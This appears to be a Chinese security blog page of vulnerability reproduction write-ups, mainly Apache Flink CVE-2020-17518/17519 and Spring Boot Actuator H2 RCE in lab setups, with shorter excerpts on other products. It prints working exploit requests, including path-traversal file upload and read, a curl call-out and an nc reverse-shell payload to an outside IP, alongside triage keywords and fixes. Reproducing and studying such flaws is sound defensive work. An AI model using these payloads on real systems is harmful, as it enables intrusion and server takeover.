用友多个漏洞复现合集
用友NC漏洞列表
- 用友 NC BshServlet 远程代码执行漏洞
- 用友 NC XbrlPersistenceServlet反序列化漏洞
- 用友 NC servlet.FileReceiveServlet 反序列化代码执行漏洞
- 用友 ERP-NC 目录遍历漏洞
- 用友 NC-cloud 任意文件上传漏洞
- 用友 NC-cloud 命令执行RCE漏洞
- 用友 ERP SQL注入漏洞
- 用友 U8 test.jsp的SQL注入漏洞
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
阅读更多这周的一次应急响应case中,客户遭遇了lockbit 2.0的勒索。经溯源分析后,发现客户机器上安装了serv-u 15.0.0.0 的版本,该版本存在远程命令执行漏洞。本文对该漏洞进行复现,本文主要侧重于被入侵后如何快速进行溯源排查。
阅读更多Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。
CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
CVE-2020-17518 1.5.1 < Flink < 1.11.2
CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2
http.favicon.hash:180732787
该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。
https://github.com/QmF0c3UK/CVE-2020-17518
https://github.com/B1anda0/CVE-2020-17519
使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。
点击上面上传jar包,burp抓包修改路径。
POST /jars/upload HTTP/1.1 Host: vul.zgao.top:8081 Content-Length: 228 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt Connection: close ------WebKitFormBoundaryphBB4uHGBVImrUXt Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" Content-Type: application/octet-stream success ------WebKitFormBoundaryphBB4uHGBVImrUXt--
文件上传成功。
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1 Host: vul.zgao.top:8081 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Connection: close
日志位置:/opt/flink/log
排查关键词:JarUploadHandler
目录穿越任意文件读取,日志中没有记录。
升级至1.11.3及更高版本。
Actutator是spring一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。
/actuator/env
等接口使用github上的docker漏洞镜像。
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git cd spring-boot-actuator-h2-rce docker build -t spaceraccoon/spring-boot-rce-lab . docker run -p 8080:8080 --name lab --rm -t spaceraccoon/spring-boot-rce-lab
http://vul.zgao.top:8080/actuator
先来看下网上用的最多的一段POC。
接口:/actuator/env
网上这个poc不稳定,执行反弹shell和部分命令会失败。这里的坑踩了很多次!!!后面会单独分析。
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl zgao.xyz:1234/success');"}
接口:/actuator/restart,post一个空的json。
{}
命令执行成功。
网上提供的payload并不稳定,简单分析一下存在两个问题。
先分析第一个问题。由于要restart才能执行一次命令。这里第二次请求接口。
此时已退出容器,往上查看堆栈报错。
执行的sql语句中,exec这个别名已经存在又再次创建导致报错。
所以把poc中的CREATE ALIAS EXEC AS
换成CREATE ALIAS IF NOT EXISTS EXEC AS
即可。
第二个问题,上面的poc无法反弹shell。这个和java.runtime.exec 命令执行有关,网上有很多介绍的文章。
最终优化后的POC如下换成下面的poc就能同时解决上面的两个问题。
可以使用 https://zgao.top/reverse-shell/ 生成payload。
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS IF NOT EXISTS EXEC AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL EXEC('/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 43.155.67.230 1234 >/tmp/f');"}
反弹shell执行成功。
用docker logs 可查看控制台日志。但没有记录请求ip。
排查关键词:exec,dispatcherServlet
不要暴露端点,默认是只能访问到health
和info
端点。
Atlassian Confluence是Atlassian公司出品的专业的企业知识管理与协同软件,可用于构建企业文库等。2021年8月26日Atlassian官方发布公告,披露了CVE-2021-26084 Atlassian Confluence 远程代码执行漏洞。攻击者在经过认证后或在部分场景下无需认证,即可构造恶意请求,造成OGNL表达式注入,从而执行任意代码,控制服务器。
阅读更多Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
阅读更多Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。近日阿里云应急响应中心监测到 Hadoop Yarn RPC未授权访问漏洞在野利用事件。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。
阅读更多